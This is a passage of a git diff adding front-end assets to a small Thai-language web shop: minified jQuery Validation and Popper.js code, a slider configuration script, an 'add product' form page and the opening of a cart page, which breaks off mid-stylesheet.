this.optional(t)||/^\d{4}[\/\-]\d{1,2}[\/\-]\d{1,2}$/.test(e)},number:function(e,t){return this.optional(t)||/^-?(?:\d+|\d{1,3}(?:,\d{3})+)?(?:\.\d+)?$/.test(e)},digits:function(e,t){return this.optional(t)||/^\d+$/.test(e)},creditcard:function(e,t){if(this.optional(t))return"dependency-mismatch";if(/[^0-9 \-]+/.test(e))return!1;var n=0,r=0,i=!1;e=e.replace(/\D/g,"");for(var s=e.length-1;s>=0;s--){var o=e.charAt(s);r=parseInt(o,10),i&&(r*=2)>9&&(r-=9),n+=r,i=!i}return n%10===0},equalTo:function(t,n,r){var i=e(r);return this.settings.onfocusout&&i.unbind(".validate-equalTo").bind("blur.validate-equalTo",function(){e(n).valid()}),t===i.val()}}}),e.format=e.validator.format})(jQuery),function(e){var t={};if(e.ajaxPrefilter)e.ajaxPrefilter(function(e,n,r){var i=e.port;e.mode==="abort"&&(t[i]&&t[i].abort(),t[i]=r)});else{var n=e.ajax;e.ajax=function(r){var i=("mode"in r?r:e.ajaxSettings).mode,s=("port"in r?r:e.ajaxSettings).port;return i==="abort"?(t[s]&&t[s].abort(),t[s]=n.apply(this,arguments)):n.apply(this,arguments)}}}(jQuery),function(e){e.extend(e.fn,{validateDelegate:function(t,n,r){return this.bind(n,function(n){var i=e(n.target);if(i.is(t))return r.apply(i,arguments)})}})}(jQuery); \ No newline at end of file diff --git a/public/js/popper.min.js b/public/js/popper.min.js new file mode 100644 index 0000000..9ad7427 --- /dev/null +++ b/public/js/popper.min.js @@ -0,0 +1,6 @@ +/* + Copyright (C) Federico Zivolo 2017 + Distributed under the MIT License (license terms are at http://opensource.org/licenses/MIT). + */ + (function(e,t){'object'==typeof exports&&'undefined'!=typeof module?module.exports=t():'function'==typeof define&&define.amd?define(t):e.Popper=t()})(this,function(){'use strict';function e(e){return e&&'[object Function]'==={}.toString.call(e)}function t(e,t){if(1!==e.nodeType)return[];var o=getComputedStyle(e,null);return t?o[t]:o}function o(e){return'HTML'===e.nodeName?e:e.parentNode||e.host}function n(e){if(!e)return document.body;switch(e.nodeName){case'HTML':case'BODY':return e.ownerDocument.body;case'#document':return e.body;}var i=t(e),r=i.overflow,p=i.overflowX,s=i.overflowY;return /(auto|scroll)/.test(r+s+p)?e:n(o(e))}function r(e){var o=e&&e.offsetParent,i=o&&o.nodeName;return i&&'BODY'!==i&&'HTML'!==i?-1!==['TD','TABLE'].indexOf(o.nodeName)&&'static'===t(o,'position')?r(o):o:e?e.ownerDocument.documentElement:document.documentElement}function p(e){var t=e.nodeName;return'BODY'!==t&&('HTML'===t||r(e.firstElementChild)===e)}function s(e){return null===e.parentNode?e:s(e.parentNode)}function d(e,t){if(!e||!e.nodeType||!t||!t.nodeType)return document.documentElement;var o=e.compareDocumentPosition(t)&Node.DOCUMENT_POSITION_FOLLOWING,i=o?e:t,n=o?t:e,a=document.createRange();a.setStart(i,0),a.setEnd(n,0);var l=a.commonAncestorContainer;if(e!==l&&t!==l||i.contains(n))return p(l)?l:r(l);var f=s(e);return f.host?d(f.host,t):d(e,s(t).host)}function a(e){var t=1<arguments.length&&void 0!==arguments[1]?arguments[1]:'top',o='top'===t?'scrollTop':'scrollLeft',i=e.nodeName;if('BODY'===i||'HTML'===i){var n=e.ownerDocument.documentElement,r=e.ownerDocument.scrollingElement||n;return r[o]}return e[o]}function l(e,t){var o=2<arguments.length&&void 0!==arguments[2]&&arguments[2],i=a(t,'top'),n=a(t,'left'),r=o?-1:1;return e.top+=i*r,e.bottom+=i*r,e.left+=n*r,e.right+=n*r,e}function f(e,t){var o='x'===t?'Left':'Top',i='Left'==o?'Right':'Bottom';return parseFloat(e['border'+o+'Width'],10)+parseFloat(e['border'+i+'Width'],10)}function m(e,t,o,i){return J(t['offset'+e],t['scroll'+e],o['client'+e],o['offset'+e],o['scroll'+e],ie()?o['offset'+e]+i['margin'+('Height'===e?'Top':'Left')]+i['margin'+('Height'===e?'Bottom':'Right')]:0)}function h(){var e=document.body,t=document.documentElement,o=ie()&&getComputedStyle(t);return{height:m('Height',e,t,o),width:m('Width',e,t,o)}}function c(e){return se({},e,{right:e.left+e.width,bottom:e.top+e.height})}function g(e){var o={};if(ie())try{o=e.getBoundingClientRect();var i=a(e,'top'),n=a(e,'left');o.top+=i,o.left+=n,o.bottom+=i,o.right+=n}catch(e){}else o=e.getBoundingClientRect();var r={left:o.left,top:o.top,width:o.right-o.left,height:o.bottom-o.top},p='HTML'===e.nodeName?h():{},s=p.width||e.clientWidth||r.right-r.left,d=p.height||e.clientHeight||r.bottom-r.top,l=e.offsetWidth-s,m=e.offsetHeight-d;if(l||m){var g=t(e);l-=f(g,'x'),m-=f(g,'y'),r.width-=l,r.height-=m}return c(r)}function u(e,o){var i=ie(),r='HTML'===o.nodeName,p=g(e),s=g(o),d=n(e),a=t(o),f=parseFloat(a.borderTopWidth,10),m=parseFloat(a.borderLeftWidth,10),h=c({top:p.top-s.top-f,left:p.left-s.left-m,width:p.width,height:p.height});if(h.marginTop=0,h.marginLeft=0,!i&&r){var u=parseFloat(a.marginTop,10),b=parseFloat(a.marginLeft,10);h.top-=f-u,h.bottom-=f-u,h.left-=m-b,h.right-=m-b,h.marginTop=u,h.marginLeft=b}return(i?o.contains(d):o===d&&'BODY'!==d.nodeName)&&(h=l(h,o)),h}function b(e){var t=e.ownerDocument.documentElement,o=u(e,t),i=J(t.clientWidth,window.innerWidth||0),n=J(t.clientHeight,window.innerHeight||0),r=a(t),p=a(t,'left'),s={top:r-o.top+o.marginTop,left:p-o.left+o.marginLeft,width:i,height:n};return c(s)}function w(e){var i=e.nodeName;return'BODY'===i||'HTML'===i?!1:'fixed'===t(e,'position')||w(o(e))}function y(e,t,i,r){var p={top:0,left:0},s=d(e,t);if('viewport'===r)p=b(s);else{var a;'scrollParent'===r?(a=n(o(t)),'BODY'===a.nodeName&&(a=e.ownerDocument.documentElement)):'window'===r?a=e.ownerDocument.documentElement:a=r;var l=u(a,s);if('HTML'===a.nodeName&&!w(s)){var f=h(),m=f.height,c=f.width;p.top+=l.top-l.marginTop,p.bottom=m+l.top,p.left+=l.left-l.marginLeft,p.right=c+l.left}else p=l}return p.left+=i,p.top+=i,p.right-=i,p.bottom-=i,p}function E(e){var t=e.width,o=e.height;return t*o}function v(e,t,o,i,n){var r=5<arguments.length&&void 0!==arguments[5]?arguments[5]:0;if(-1===e.indexOf('auto'))return e;var p=y(o,i,r,n),s={top:{width:p.width,height:t.top-p.top},right:{width:p.right-t.right,height:p.height},bottom:{width:p.width,height:p.bottom-t.bottom},left:{width:t.left-p.left,height:p.height}},d=Object.keys(s).map(function(e){return se({key:e},s[e],{area:E(s[e])})}).sort(function(e,t){return t.area-e.area}),a=d.filter(function(e){var t=e.width,i=e.height;return t>=o.clientWidth&&i>=o.clientHeight}),l=0<a.length?a[0].key:d[0].key,f=e.split('-')[1];return l+(f?'-'+f:'')}function O(e,t,o){var i=d(t,o);return u(o,i)}function L(e){var t=getComputedStyle(e),o=parseFloat(t.marginTop)+parseFloat(t.marginBottom),i=parseFloat(t.marginLeft)+parseFloat(t.marginRight),n={width:e.offsetWidth+i,height:e.offsetHeight+o};return n}function x(e){var t={left:'right',right:'left',bottom:'top',top:'bottom'};return e.replace(/left|right|bottom|top/g,function(e){return t[e]})}function S(e,t,o){o=o.split('-')[0];var i=L(e),n={width:i.width,height:i.height},r=-1!==['right','left'].indexOf(o),p=r?'top':'left',s=r?'left':'top',d=r?'height':'width',a=r?'width':'height';return n[p]=t[p]+t[d]/2-i[d]/2,n[s]=o===s?t[s]-i[a]:t[x(s)],n}function T(e,t){return Array.prototype.find?e.find(t):e.filter(t)[0]}function D(e,t,o){if(Array.prototype.findIndex)return e.findIndex(function(e){return e[t]===o});var i=T(e,function(e){return e[t]===o});return e.indexOf(i)}function C(t,o,i){var n=void 0===i?t:t.slice(0,D(t,'name',i));return n.forEach(function(t){t['function']&&console.warn('`modifier.function` is deprecated, use `modifier.fn`!');var i=t['function']||t.fn;t.enabled&&e(i)&&(o.offsets.popper=c(o.offsets.popper),o.offsets.reference=c(o.offsets.reference),o=i(o,t))}),o}function N(){if(!this.state.isDestroyed){var e={instance:this,styles:{},arrowStyles:{},attributes:{},flipped:!1,offsets:{}};e.offsets.reference=O(this.state,this.popper,this.reference),e.placement=v(this.options.placement,e.offsets.reference,this.popper,this.reference,this.options.modifiers.flip.boundariesElement,this.options.modifiers.flip.padding),e.originalPlacement=e.placement,e.offsets.popper=S(this.popper,e.offsets.reference,e.placement),e.offsets.popper.position='absolute',e=C(this.modifiers,e),this.state.isCreated?this.options.onUpdate(e):(this.state.isCreated=!0,this.options.onCreate(e))}}function k(e,t){return e.some(function(e){var o=e.name,i=e.enabled;return i&&o===t})}function W(e){for(var t=[!1,'ms','Webkit','Moz','O'],o=e.charAt(0).toUpperCase()+e.slice(1),n=0;n<t.length-1;n++){var i=t[n],r=i?''+i+o:e;if('undefined'!=typeof document.body.style[r])return r}return null}function P(){return this.state.isDestroyed=!0,k(this.modifiers,'applyStyle')&&(this.popper.removeAttribute('x-placement'),this.popper.style.left='',this.popper.style.position='',this.popper.style.top='',this.popper.style[W('transform')]=''),this.disableEventListeners(),this.options.removeOnDestroy&&this.popper.parentNode.removeChild(this.popper),this}function B(e){var t=e.ownerDocument;return t?t.defaultView:window}function H(e,t,o,i){var r='BODY'===e.nodeName,p=r?e.ownerDocument.defaultView:e;p.addEventListener(t,o,{passive:!0}),r||H(n(p.parentNode),t,o,i),i.push(p)}function A(e,t,o,i){o.updateBound=i,B(e).addEventListener('resize',o.updateBound,{passive:!0});var r=n(e);return H(r,'scroll',o.updateBound,o.scrollParents),o.scrollElement=r,o.eventsEnabled=!0,o}function I(){this.state.eventsEnabled||(this.state=A(this.reference,this.options,this.state,this.scheduleUpdate))}function M(e,t){return B(e).removeEventListener('resize',t.updateBound),t.scrollParents.forEach(function(e){e.removeEventListener('scroll',t.updateBound)}),t.updateBound=null,t.scrollParents=[],t.scrollElement=null,t.eventsEnabled=!1,t}function R(){this.state.eventsEnabled&&(cancelAnimationFrame(this.scheduleUpdate),this.state=M(this.reference,this.state))}function U(e){return''!==e&&!isNaN(parseFloat(e))&&isFinite(e)}function Y(e,t){Object.keys(t).forEach(function(o){var i='';-1!==['width','height','top','right','bottom','left'].indexOf(o)&&U(t[o])&&(i='px'),e.style[o]=t[o]+i})}function j(e,t){Object.keys(t).forEach(function(o){var i=t[o];!1===i?e.removeAttribute(o):e.setAttribute(o,t[o])})}function F(e,t,o){var i=T(e,function(e){var o=e.name;return o===t}),n=!!i&&e.some(function(e){return e.name===o&&e.enabled&&e.order<i.order});if(!n){var r='`'+t+'`';console.warn('`'+o+'`'+' modifier is required by '+r+' modifier in order to work, be sure to include it before '+r+'!')}return n}function K(e){return'end'===e?'start':'start'===e?'end':e}function q(e){var t=1<arguments.length&&void 0!==arguments[1]&&arguments[1],o=ae.indexOf(e),i=ae.slice(o+1).concat(ae.slice(0,o));return t?i.reverse():i}function V(e,t,o,i){var n=e.match(/((?:\-|\+)?\d*\.?\d*)(.*)/),r=+n[1],p=n[2];if(!r)return e;if(0===p.indexOf('%')){var s;switch(p){case'%p':s=o;break;case'%':case'%r':default:s=i;}var d=c(s);return d[t]/100*r}if('vh'===p||'vw'===p){var a;return a='vh'===p?J(document.documentElement.clientHeight,window.innerHeight||0):J(document.documentElement.clientWidth,window.innerWidth||0),a/100*r}return r}function z(e,t,o,i){var n=[0,0],r=-1!==['right','left'].indexOf(i),p=e.split(/(\+|\-)/).map(function(e){return e.trim()}),s=p.indexOf(T(p,function(e){return-1!==e.search(/,|\s/)}));p[s]&&-1===p[s].indexOf(',')&&console.warn('Offsets separated by white space(s) are deprecated, use a comma (,) instead.');var d=/\s*,\s*|\s+/,a=-1===s?[p]:[p.slice(0,s).concat([p[s].split(d)[0]]),[p[s].split(d)[1]].concat(p.slice(s+1))];return a=a.map(function(e,i){var n=(1===i?!r:r)?'height':'width',p=!1;return e.reduce(function(e,t){return''===e[e.length-1]&&-1!==['+','-'].indexOf(t)?(e[e.length-1]=t,p=!0,e):p?(e[e.length-1]+=t,p=!1,e):e.concat(t)},[]).map(function(e){return V(e,n,t,o)})}),a.forEach(function(e,t){e.forEach(function(o,i){U(o)&&(n[t]+=o*('-'===e[i-1]?-1:1))})}),n}function G(e,t){var o,i=t.offset,n=e.placement,r=e.offsets,p=r.popper,s=r.reference,d=n.split('-')[0];return o=U(+i)?[+i,0]:z(i,p,s,d),'left'===d?(p.top+=o[0],p.left-=o[1]):'right'===d?(p.top+=o[0],p.left+=o[1]):'top'===d?(p.left+=o[0],p.top-=o[1]):'bottom'===d&&(p.left+=o[0],p.top+=o[1]),e.popper=p,e}for(var _=Math.min,X=Math.floor,J=Math.max,Q='undefined'!=typeof window&&'undefined'!=typeof document,Z=['Edge','Trident','Firefox'],$=0,ee=0;ee<Z.length;ee+=1)if(Q&&0<=navigator.userAgent.indexOf(Z[ee])){$=1;break}var i,te=Q&&window.Promise,oe=te?function(e){var t=!1;return function(){t||(t=!0,window.Promise.resolve().then(function(){t=!1,e()}))}}:function(e){var t=!1;return function(){t||(t=!0,setTimeout(function(){t=!1,e()},$))}},ie=function(){return void 0==i&&(i=-1!==navigator.appVersion.indexOf('MSIE 10')),i},ne=function(e,t){if(!(e instanceof t))throw new TypeError('Cannot call a class as a function')},re=function(){function e(e,t){for(var o,n=0;n<t.length;n++)o=t[n],o.enumerable=o.enumerable||!1,o.configurable=!0,'value'in o&&(o.writable=!0),Object.defineProperty(e,o.key,o)}return function(t,o,i){return o&&e(t.prototype,o),i&&e(t,i),t}}(),pe=function(e,t,o){return t in e?Object.defineProperty(e,t,{value:o,enumerable:!0,configurable:!0,writable:!0}):e[t]=o,e},se=Object.assign||function(e){for(var t,o=1;o<arguments.length;o++)for(var i in t=arguments[o],t)Object.prototype.hasOwnProperty.call(t,i)&&(e[i]=t[i]);return e},de=['auto-start','auto','auto-end','top-start','top','top-end','right-start','right','right-end','bottom-end','bottom','bottom-start','left-end','left','left-start'],ae=de.slice(3),le={FLIP:'flip',CLOCKWISE:'clockwise',COUNTERCLOCKWISE:'counterclockwise'},fe=function(){function t(o,i){var n=this,r=2<arguments.length&&void 0!==arguments[2]?arguments[2]:{};ne(this,t),this.scheduleUpdate=function(){return requestAnimationFrame(n.update)},this.update=oe(this.update.bind(this)),this.options=se({},t.Defaults,r),this.state={isDestroyed:!1,isCreated:!1,scrollParents:[]},this.reference=o&&o.jquery?o[0]:o,this.popper=i&&i.jquery?i[0]:i,this.options.modifiers={},Object.keys(se({},t.Defaults.modifiers,r.modifiers)).forEach(function(e){n.options.modifiers[e]=se({},t.Defaults.modifiers[e]||{},r.modifiers?r.modifiers[e]:{})}),this.modifiers=Object.keys(this.options.modifiers).map(function(e){return se({name:e},n.options.modifiers[e])}).sort(function(e,t){return e.order-t.order}),this.modifiers.forEach(function(t){t.enabled&&e(t.onLoad)&&t.onLoad(n.reference,n.popper,n.options,t,n.state)}),this.update();var p=this.options.eventsEnabled;p&&this.enableEventListeners(),this.state.eventsEnabled=p}return re(t,[{key:'update',value:function(){return N.call(this)}},{key:'destroy',value:function(){return P.call(this)}},{key:'enableEventListeners',value:function(){return I.call(this)}},{key:'disableEventListeners',value:function(){return R.call(this)}}]),t}();return fe.Utils=('undefined'==typeof window?global:window).PopperUtils,fe.placements=de,fe.Defaults={placement:'bottom',eventsEnabled:!0,removeOnDestroy:!1,onCreate:function(){},onUpdate:function(){},modifiers:{shift:{order:100,enabled:!0,fn:function(e){var t=e.placement,o=t.split('-')[0],i=t.split('-')[1];if(i){var n=e.offsets,r=n.reference,p=n.popper,s=-1!==['bottom','top'].indexOf(o),d=s?'left':'top',a=s?'width':'height',l={start:pe({},d,r[d]),end:pe({},d,r[d]+r[a]-p[a])};e.offsets.popper=se({},p,l[i])}return e}},offset:{order:200,enabled:!0,fn:G,offset:0},preventOverflow:{order:300,enabled:!0,fn:function(e,t){var o=t.boundariesElement||r(e.instance.popper);e.instance.reference===o&&(o=r(o));var i=y(e.instance.popper,e.instance.reference,t.padding,o);t.boundaries=i;var n=t.priority,p=e.offsets.popper,s={primary:function(e){var o=p[e];return p[e]<i[e]&&!t.escapeWithReference&&(o=J(p[e],i[e])),pe({},e,o)},secondary:function(e){var o='right'===e?'left':'top',n=p[o];return p[e]>i[e]&&!t.escapeWithReference&&(n=_(p[o],i[e]-('right'===e?p.width:p.height))),pe({},o,n)}};return n.forEach(function(e){var t=-1===['left','top'].indexOf(e)?'secondary':'primary';p=se({},p,s[t](e))}),e.offsets.popper=p,e},priority:['left','right','top','bottom'],padding:5,boundariesElement:'scrollParent'},keepTogether:{order:400,enabled:!0,fn:function(e){var t=e.offsets,o=t.popper,i=t.reference,n=e.placement.split('-')[0],r=X,p=-1!==['top','bottom'].indexOf(n),s=p?'right':'bottom',d=p?'left':'top',a=p?'width':'height';return o[s]<r(i[d])&&(e.offsets.popper[d]=r(i[d])-o[a]),o[d]>r(i[s])&&(e.offsets.popper[d]=r(i[s])),e}},arrow:{order:500,enabled:!0,fn:function(e,o){var i;if(!F(e.instance.modifiers,'arrow','keepTogether'))return e;var n=o.element;if('string'==typeof n){if(n=e.instance.popper.querySelector(n),!n)return e;}else if(!e.instance.popper.contains(n))return console.warn('WARNING: `arrow.element` must be child of its popper element!'),e;var r=e.placement.split('-')[0],p=e.offsets,s=p.popper,d=p.reference,a=-1!==['left','right'].indexOf(r),l=a?'height':'width',f=a?'Top':'Left',m=f.toLowerCase(),h=a?'left':'top',g=a?'bottom':'right',u=L(n)[l];d[g]-u<s[m]&&(e.offsets.popper[m]-=s[m]-(d[g]-u)),d[m]+u>s[g]&&(e.offsets.popper[m]+=d[m]+u-s[g]),e.offsets.popper=c(e.offsets.popper);var b=d[m]+d[l]/2-u/2,w=t(e.instance.popper),y=parseFloat(w['margin'+f],10),E=parseFloat(w['border'+f+'Width'],10),v=b-e.offsets.popper[m]-y-E;return v=J(_(s[l]-u,v),0),e.arrowElement=n,e.offsets.arrow=(i={},pe(i,m,Math.round(v)),pe(i,h,''),i),e},element:'[x-arrow]'},flip:{order:600,enabled:!0,fn:function(e,t){if(k(e.instance.modifiers,'inner'))return e;if(e.flipped&&e.placement===e.originalPlacement)return e;var o=y(e.instance.popper,e.instance.reference,t.padding,t.boundariesElement),i=e.placement.split('-')[0],n=x(i),r=e.placement.split('-')[1]||'',p=[];switch(t.behavior){case le.FLIP:p=[i,n];break;case le.CLOCKWISE:p=q(i);break;case le.COUNTERCLOCKWISE:p=q(i,!0);break;default:p=t.behavior;}return p.forEach(function(s,d){if(i!==s||p.length===d+1)return e;i=e.placement.split('-')[0],n=x(i);var a=e.offsets.popper,l=e.offsets.reference,f=X,m='left'===i&&f(a.right)>f(l.left)||'right'===i&&f(a.left)<f(l.right)||'top'===i&&f(a.bottom)>f(l.top)||'bottom'===i&&f(a.top)<f(l.bottom),h=f(a.left)<f(o.left),c=f(a.right)>f(o.right),g=f(a.top)<f(o.top),u=f(a.bottom)>f(o.bottom),b='left'===i&&h||'right'===i&&c||'top'===i&&g||'bottom'===i&&u,w=-1!==['top','bottom'].indexOf(i),y=!!t.flipVariations&&(w&&'start'===r&&h||w&&'end'===r&&c||!w&&'start'===r&&g||!w&&'end'===r&&u);(m||b||y)&&(e.flipped=!0,(m||b)&&(i=p[d+1]),y&&(r=K(r)),e.placement=i+(r?'-'+r:''),e.offsets.popper=se({},e.offsets.popper,S(e.instance.popper,e.offsets.reference,e.placement)),e=C(e.instance.modifiers,e,'flip'))}),e},behavior:'flip',padding:5,boundariesElement:'viewport'},inner:{order:700,enabled:!1,fn:function(e){var t=e.placement,o=t.split('-')[0],i=e.offsets,n=i.popper,r=i.reference,p=-1!==['left','right'].indexOf(o),s=-1===['top','left'].indexOf(o);return n[p?'left':'top']=r[o]-(s?n[p?'width':'height']:0),e.placement=x(t),e.offsets.popper=c(n),e}},hide:{order:800,enabled:!0,fn:function(e){if(!F(e.instance.modifiers,'hide','preventOverflow'))return e;var t=e.offsets.reference,o=T(e.instance.modifiers,function(e){return'preventOverflow'===e.name}).boundaries;if(t.bottom<o.top||t.left>o.right||t.top>o.bottom||t.right<o.left){if(!0===e.hide)return e;e.hide=!0,e.attributes['x-out-of-boundaries']=''}else{if(!1===e.hide)return e;e.hide=!1,e.attributes['x-out-of-boundaries']=!1}return e}},computeStyle:{order:850,enabled:!0,fn:function(e,t){var o=t.x,i=t.y,n=e.offsets.popper,p=T(e.instance.modifiers,function(e){return'applyStyle'===e.name}).gpuAcceleration;void 0!==p&&console.warn('WARNING: `gpuAcceleration` option moved to `computeStyle` modifier and will not be supported in future versions of Popper.js!');var s,d,a=void 0===p?t.gpuAcceleration:p,l=r(e.instance.popper),f=g(l),m={position:n.position},h={left:X(n.left),top:X(n.top),bottom:X(n.bottom),right:X(n.right)},c='bottom'===o?'top':'bottom',u='right'===i?'left':'right',b=W('transform');if(d='bottom'==c?-f.height+h.bottom:h.top,s='right'==u?-f.width+h.right:h.left,a&&b)m[b]='translate3d('+s+'px, '+d+'px, 0)',m[c]=0,m[u]=0,m.willChange='transform';else{var w='bottom'==c?-1:1,y='right'==u?-1:1;m[c]=d*w,m[u]=s*y,m.willChange=c+', '+u}var E={"x-placement":e.placement};return e.attributes=se({},E,e.attributes),e.styles=se({},m,e.styles),e.arrowStyles=se({},e.offsets.arrow,e.arrowStyles),e},gpuAcceleration:!0,x:'bottom',y:'right'},applyStyle:{order:900,enabled:!0,fn:function(e){return Y(e.instance.popper,e.styles),j(e.instance.popper,e.attributes),e.arrowElement&&Object.keys(e.arrowStyles).length&&Y(e.arrowElement,e.arrowStyles),e},onLoad:function(e,t,o,i,n){var r=O(n,t,e),p=v(o.placement,r,t,e,o.modifiers.flip.boundariesElement,o.modifiers.flip.padding);return t.setAttribute('x-placement',p),Y(t,{position:'absolute'}),o},gpuAcceleration:void 0}}},fe}); +//# sourceMappingURL=popper.min.js.map diff --git a/public/js/slider-setting.js b/public/js/slider-setting.js new file mode 100644 index 0000000..fddf169 --- /dev/null +++ b/public/js/slider-setting.js @@ -0,0 +1,105 @@ +/*--------------------------------------------------------------------- + File Name: slider-setting.js +---------------------------------------------------------------------*/ + +"use strict"; + var tpj = jQuery; + + var revapi486; + tpj(document).ready(function () { + if (tpj("#rev_slider_486_1").revolution == undefined) { + revslider_showDoubleJqueryError("#rev_slider_486_1"); + } else { + revapi486 = tpj("#rev_slider_486_1").show().revolution({ + sliderType: "standard", + jsFileLocation: "revolution/js/", + sliderLayout: "fullscreen", + dottedOverlay: "none", + delay: 5000, + navigation: { + keyboardNavigation: "on", + keyboard_direction: "horizontal", + mouseScrollNavigation: "off", + mouseScrollReverse: "default", + onHoverStop: "on", + touch: { + touchenabled: "on", + swipe_threshold: 75, + swipe_min_touches: 1, + swipe_direction: "horizontal", + drag_block_vertical: false + }, + arrows: { + style: "gyges", + enable: true, + hide_onmobile: false, + hide_onleave: true, + hide_delay: 200, + hide_delay_mobile: 1200, + tmp: '', + left: { + h_align: "left", + v_align: "center", + h_offset: 0, + v_offset: 0 + }, + right: { + h_align: "right", + v_align: "center", + h_offset: 0, + v_offset: 0 + } + }, + bullets: { + enable: true, + hide_onmobile: true, + hide_under: 800, + style: "hebe", + hide_onleave: false, + direction: "horizontal", + h_align: "center", + v_align: "bottom", + h_offset: 0, + v_offset: 30, + space: 5, + tmp: '<span class="tp-bullet-image"></span><span class="tp-bullet-imageoverlay"></span><span class="tp-bullet-title"></span>' + } + }, + viewPort: { + enable: true, + outof: "pause", + visible_area: "70%", + presize: false + }, + responsiveLevels: [1240, 1024, 778, 480], + visibilityLevels: [1240, 1024, 778, 480], + gridwidth: [1240, 1024, 778, 480], + gridheight: [500, 450, 400, 350], + lazyType: "none", + parallax: { + type: "scroll", + origo: "enterpoint", + speed: 400, + levels: [5, 10, 15, 20, 25, 30, 35, 40, 45, 50, 46, 47, 48, 49, 50, 55], + type: "scroll", + }, + shadow: 0, + spinner: "off", + stopLoop: "off", + stopAfterLoops: -1, + stopAtSlide: -1, + shuffle: "off", + autoHeight: "off", + hideThumbsOnMobile: "off", + hideSliderAtLimit: 0, + hideCaptionAtLimit: 0, + hideAllCaptionAtLilmit: 0, + debugMode: false, + fallbacks: { + simplifyAll: "off", + nextSlideOnWindowFocus: "off", + disableFocusListener: false, + } + }); + } + }); \ No newline at end of file diff --git a/views/addProduct.ejs b/views/addProduct.ejs new file mode 100644 index 0000000..f76f596 --- /dev/null +++ b/views/addProduct.ejs @@ -0,0 +1,131 @@ +<!DOCTYPE html> +<html lang="th"> +<head> + <meta charset="UTF-8"> + <meta name="viewport" content="width=device-width, initial-scale=1"> + <title>เพิ่มสินค้าใหม่</title> + <!-- Bootstrap CSS --> + <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/bootstrap/5.3.0/css/bootstrap.min.css"> + <style> + /* --- พื้นหลังและฟ้อนต์ --- */ +body { + background-color: #fafafa; + color: #333; + font-family: 'Arial', sans-serif; +} + +/* --- กล่องคอนเทนเนอร์หลัก --- */ +.container { + max-width: 600px; + margin: 50px auto; + padding: 20px; + background: #ffffff; + border-radius: 12px; + box-shadow: 0 6px 16px rgba(0, 0, 0, 0.1); /* เพิ่มเงาให้ดูนุ่มนวล */ + transition: box-shadow 0.3s ease, transform 0.2s ease; +} + +.container:hover { + box-shadow: 0 10px 24px rgba(0, 0, 0, 0.15); + transform: translateY(-4px); /* เพิ่มเอฟเฟกต์ขยับขึ้น */ +} + +/* --- ปุ่มหลัก (สีส้ม) --- */ +.btn-orange { + background-color: #ff6600; + color: white; + border: none; + padding: 12px 20px; + border-radius: 8px; + font-size: 16px; + font-weight: 500; + cursor: pointer; + box-shadow: 0 4px 12px rgba(255, 102, 0, 0.3); /* เพิ่มเงาให้ปุ่ม */ + transition: background-color 0.2s ease, transform 0.2s ease; +} + +.btn-orange:hover { + background-color: #cc5200; + transform: translateY(-2px); /* ขยับขึ้นเล็กน้อย */ + box-shadow: 0 6px 16px rgba(204, 82, 0, 0.4); +} + +.btn-orange:active { + background-color: #b34700; + transform: translateY(0); + box-shadow: 0 3px 8px rgba(204, 82, 0, 0.3); +} + +/* --- การจัดรูปแบบฟ้อนต์เพิ่มเติม --- */ +h1, h2, h3, h4, h5, h6 { + color: #222; + margin-bottom: 15px; +} + +p { + line-height: 1.6; +} + +/* --- ลิงก์ (Links) --- */ +a { + color: #ff6600; + text-decoration: none; + transition: color 0.2s ease; +} + +a:hover { + color: #cc5200; +} + +/* --- Responsive สำหรับมือถือ --- */ +@media (max-width: 768px) { + .container { + padding: 15px; + } + + .btn-orange { + padding: 10px 15px; + font-size: 14px; + } +} + + </style> +</head> +<body> + +<div class="container"> + <h2 class="text-center mb-4">เพิ่มสินค้าใหม่</h2> + + <form action="/addProduct" method="POST"> + <div class="mb-3"> + <label class="form-label">ชื่อสินค้า:</label> + <input type="text" name="product_name" class="form-control" required> + </div> + + <div class="mb-3"> + <label class="form-label">ราคาสินค้า:</label> + <input type="number" name="price" class="form-control" required> + </div> + + <div class="mb-3"> + <label class="form-label">URL รูปภาพ:</label> + <input type="text" name="image" class="form-control" required> + </div> + + <div class="mb-3"> + <label class="form-label">รายละเอียดสินค้า:</label> + <textarea name="description" class="form-control"></textarea> + </div> + + <button type="submit" class="btn btn-orange w-100">เพิ่มสินค้า</button> + </form> + + <div class="text-center mt-3"> + <a href="/" class="btn btn-secondary">กลับหน้าหลัก</a> + </div> +</div> + +<!-- Bootstrap JS --> +<script src="https://cdnjs.cloudflare.com/ajax/libs/bootstrap/5.3.0/js/bootstrap.bundle.min.js"></script> +</body> +</html> diff --git a/views/cart.ejs b/views/cart.ejs new file mode 100644 index 0000000..c78d818 --- /dev/null +++ b/views/cart.ejs @@ -0,0 +1,167 @@ +<!DOCTYPE html> +<html lang="th"> +<head> + <meta charset="UTF-8"> + <meta name="viewport" content="width=device-width, initial-scale=1"> + <title>ตะกร้าสินค้าของคุณ</title> + <!-- Bootstrap CSS --> + <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/bootstrap/5.3.0/css/bootstrap.min.css"> + <style> + /* --- พื้นหลังและสีตัวอักษรหลัก --- */ +body { + background-color: #fafafa; + color: #333; + font-family: 'Arial', sans-serif; +} + +/* --- กล่องคอนเทนเนอร์หลัก --- */ +.container { + max-width: 900px; + margin: 30px auto; + padding: 20px; + background: #ffffff; + border-radius: 12px; + box-shadow: 0 6px 16px rgba(0, 0, 0, 0.1); /* เพิ่มเงาให้สมูท */ + transition: box-shadow 0.3s ease; +} + +.container:hover { + box-shadow: 0 8px 20px rgba(0, 0, 0, 0.15); +} + +/* --- ปุ่มหลัก (สีส้ม) --- */ +.btn-orange { + background-color: #ff6600; + color: white; + border: none; + padding: 12px 20px; + border-radius: 8px; + font-size: 16px; + font-weight: 500; + transition: background-color 0.2s ease, transform 0.1s ease; + cursor: pointer; + box-shadow: 0 4px 12px rgba(255, 102, 0, 0.3); +} + +.btn-orange:hover { + background-color: #cc5200; + transform: translateY(-2px); + box-shadow: 0 6px 16px rgba(204, 82, 0, 0.4); +} + +.btn-orange:active { + background-color: #b34700; + transform: translateY(0); + box-shadow: 0 3px 8px rgba(204, 82, 0, 0.3); +} + +/* --- ตาราง (Table) --- */ +table { + width: 100%; + border-collapse: collapse; + margin-top: 20px; +} + +table th, table td { + padding: 12px; + text-align: center; + border-bottom: 1px solid #ddd; + font-size: 14px; +} + +table th { + background-color: #ff6600; + color: white; +} + +table tr:hover { + background-color: #f1f1f1; + transition: background-color 0.2s ease; +} + +/* --- รูปภาพสินค้า (Product Image) --- */ +.product-image { + max-width: 100px; + border-radius: 8px; + transition: 